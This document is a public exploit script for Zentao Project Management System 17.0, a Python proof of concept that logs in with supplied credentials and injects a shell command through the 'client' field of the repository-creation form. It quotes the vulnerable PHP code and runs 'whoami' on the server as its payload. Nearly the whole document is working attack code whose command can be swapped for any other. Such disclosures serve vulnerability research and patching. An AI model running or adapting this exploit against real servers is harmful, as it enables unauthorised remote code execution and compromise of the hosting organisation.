Zentao Project Management System 17.0 Remote Code Execution

# Exploit Title: Zentao Project Management System 17.0 - Authenticated Remote Code Execution
# Exploit Author: mister0xf 
# Date: 2022-10-8
# Software Link: https://github.com/easysoft/zentaopms
# Version: tested on 17.0 (probably works also on newer/older versions)
# Tested On: Kali Linux 2022.2
# Exploit Tested Using: Python 3.10.4
# Vulnerability Description:
# Zentao Project Management System 17.0 suffers from an authenticated command injection allowing 
# remote attackers to obtain Remote Code Execution (RCE) on the hosting webserver 

# Vulnerable Source Code:
# /module/repo/model.php:
# [...]
# $client = $this->post->client; // <-- client is taken from the POST request
# [...]
# elseif($scm == 'Git')
#        {
#            if(!is_dir($path))
#            {
#                dao::$errors['path'] = sprintf($this->lang->repo->error->noFile, $path);
#                return false;
#            }
#
#            if(!chdir($path))
#            {
#                if(!is_executable($path))
#                {
#                    dao::$errors['path'] = sprintf($this->lang->repo->error->noPriv, $path);
#                    return false;
#                }
#                dao::$errors['path'] = $this->lang->repo->error->path;
#                return false;
#            }
#
#            $command = "$client tag 2>&1"; // <-- command is injected here
#            exec($command, $output, $result);

import requests,sys
import hashlib
from urllib.parse import urlparse
from bs4 import BeautifulSoup

def banner():
    print('''
          ::::::::: :::::::::: ::::    :::  :::::::: :::::::::::     :::      ::::::::
          :+:  :+:        :+:+:   :+: :+:    :+:    :+:       :+: :+:   :+:    :+:
        +:+   +:+        :+:+:+  +:+ +:+           +:+      +:+   +:+  +:+    +:+
      +#+    +#++:++#   +#+ +:+ +#+ +#+           +#+     +#++:++#++: +#+    +:+
    +#+     +#+        +#+  +#+#+# +#+           +#+     +#+     +#+ +#+    +#+
  #+#      #+#        #+#   #+#+# #+#    #+#    #+#     #+#     #+# #+#    #+#
######### ########## ###    ####  ######## ########### ###     ###  ########
    ''')
def usage():
    print('Usage: zenciao user password http://127.0.0.1/path')

def main():

    if ((len(sys.argv)-1) != 3):
        usage()
        banner()
        exit()

    #proxy = {'http':'http://127.0.0.1:8080'}

    banner()
    username = sys.argv[1] 
    password = sys.argv[2] 
    target = sys.argv[3]

    # initialize session object
    session = requests.session()

    home_url = target+'/index.php'
    rand_url = target+'/index.php?m=user&f=refreshRandom&t=html'
    login_url = target+'/index.php?m=user&f=login&t=html'
    create_repo_url = target+'/index.php?m=repo&f=create&objectID=0'

    r1 = session.get(home_url)
    soup = BeautifulSoup(r1.text, "html.parser")
    script_tag = soup.find('script')
    redirect_url = script_tag.string.split("'")[1]
    r2 = session.get(target+redirect_url)

    # get random value
    session.headers.update({'X-Requested-With': 'XMLHttpRequest'})
    res = session.get(rand_url)
    rand = res.text

    # compute md5(md5(password)+rand)
    md5_pwd = hashlib.md5((hashlib.md5(password.encode()).hexdigest()+str(rand)).encode())

    # login request
    post_data = {"account":username,"password":md5_pwd.hexdigest(),"passwordStrength":1,"referer":"/zentaopms/www/","verifyRand":rand,"keepLogin":0,"captcha":""}
    my_referer = target+'/zentaopms/www/index.php?m=user&f=login&t=html'
    session.headers.update({'Referer': my_referer})
    session.headers.update({'X-Requested-With': 'XMLHttpRequest'})
    response = session.post(login_url, data=post_data) 

    # exploit rce
    # devops repo page
    r2 = session.get(create_repo_url)
    git_test_dir = '/home/'
    command = 'whoami;'
    exploit_post_data = {"SCM":"Git","name":"","path":git_test_dir,"encoding":"utf-8","client":command,"account":"","password":"","encrypt":"base64","desc":""}
    r3 = session.post(create_repo_url, data=exploit_post_data)
    print(r3.content)

if __name__ == '__main__':
    main()